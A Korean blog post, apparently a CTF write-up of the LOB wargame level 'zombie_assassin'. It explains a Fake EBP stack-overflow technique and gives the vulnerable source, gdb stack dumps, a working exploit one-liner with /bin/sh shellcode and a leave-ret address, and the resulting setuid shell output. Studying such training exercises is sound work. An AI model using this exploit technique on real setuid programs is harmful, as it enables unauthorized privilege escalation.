시작
안녕하세요!! :D
이번에도 이상한 곳에서 한참 삽질했습니다 ㅎㅎ.. 스택이 참 민감한 친구라는걸 매번 잊어버리네요ㅠ
이젠 마스터한 Fake EBP 문제, 시작해보죠!!
Write UP
/*
The Lord of the BOF : The Fellowship of the BOF
- zombie_assassin
- FEBP
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[])
{
char buffer[40];
if(argc < 2){
printf("argv error\n");
exit(0);
}
if(argv[1][47] == '\xbf')
{
printf("stack retbayed you!\n");
exit(0);
}
if(argv[1][47] == '\x40')
{
printf("library retbayed you, too!!\n");
exit(0);
}
// strncpy instead of strcpy!
strncpy(buffer, argv[1], 48);
printf("%s\n", buffer);
}
FEBP = Fake EBP겠죠?? 48개만 받는 것을 보니깐 RET까지 끊어주네요.
RET엔 역시 필터가 걸려 있습니다.
FPO, Fake EBP.. 다 같은 유형이죠? leave ret을 이용해서 eip의 흐름을 바꾸는 거에요.
버퍼에 쉘코드 + NOP을 넣어주고 SFP를 쉘코드 시작주소를 가리키는 주소 + 8 해준 후 leave ret으로 다시 돌려주면 끝이겠네요.
Breakpoint 1, 0x80484cb in main ()
(gdb) x/40wx $esp
0xbffffaa4: 0xbffffab0 0xbffffc36 0x00000030 0x41414141
0xbffffab4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffac4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffad4: 0x41414141 0x42424242 0x43434343 0x00000002
0xbffffae4: 0xbffffb24 0xbffffb30 0x40013868 0x00000002
0xbffffaf4: 0x08048390 0x00000000 0x080483b1 0x08048440
0xbffffb04: 0x00000002 0xbffffb24 0x080482e4 0x0804851c
0xbffffb14: 0x4000ae60 0xbffffb1c 0x40013e90 0x00000002
0xbffffb24: 0xbffffc1a 0xbffffc36 0x00000000 0xbffffc67
0xbffffb34: 0xbffffc80 0xbffffc9f 0xbffffcc1 0xbffffccf
버퍼의 시작 주소는 0xbffffab0
이고, 얘를 가리키는 포인터는 esp의 위치인 0xbffffaa4
에 있네요.
Fake EBP를 사용하기 위해 SFP를 +4된 주소값인 0xbffffaa8
로 넣어주겠습니다.
0x80484df <main+159>: leave
0x80484e0 <main+160>: ret
RET은 0x80484df
로 넣어서 leave ret이 한 번더 실행되게 할게요.
[assassin@localhost zombie_assassin]$ ./zombiee `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x90" * 15 + "\xa8\xfa\xff\xbf" + "\xdf\x84\x04\x08"'`
1▒Ph//shh/bin▒▒PS▒▒°
̀▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒߄
bash$ id
uid=515(assassin) gid=515(assassin) euid=516(zombie_assassin) egid=516(zombie_assassin) groups=515(assassin)
bash$ my-pass
euid = 516
no place to hide
Exploit!!
자.. 삽질을 어디서 했냐..
스택이란 친구가 참 자주 바뀌잖아요? 사소한 것 하나하나에 영향을 받죠.
심볼릭 링크 걸 때 이름을 엄청 짧게 해놨었어요 ㅋㅋㅋㅋ 막 aa, zom 이렇게요.
얘 때문에 스택 시작 주소가 바뀌어서 세폴이 계속 뜨더라구요ㅠㅠ
setuid 걸려있어서 코어도 안떨어지구..
파일명 바꾸니깐 바로 됐어요 ㅋㅋㅋㅋㅋㅋ
마무리
앞으로 익스 때릴 땐 파일명도 생각합시다!!!
leave ret을 이용한 문제들은 이제 가뿐하네요 ㅎㅎ
감사합니다!! :D
'CTF_Write_UP > LOB' 카테고리의 다른 글
[LOB] succubus (0) | 2019.09.09 |
---|---|
[LOB] zombie_assassin (0) | 2019.09.09 |
[LOB] giant (0) | 2019.08.03 |
[LOB] bugbear (0) | 2019.08.02 |
[LOB] darkknight (0) | 2019.08.01 |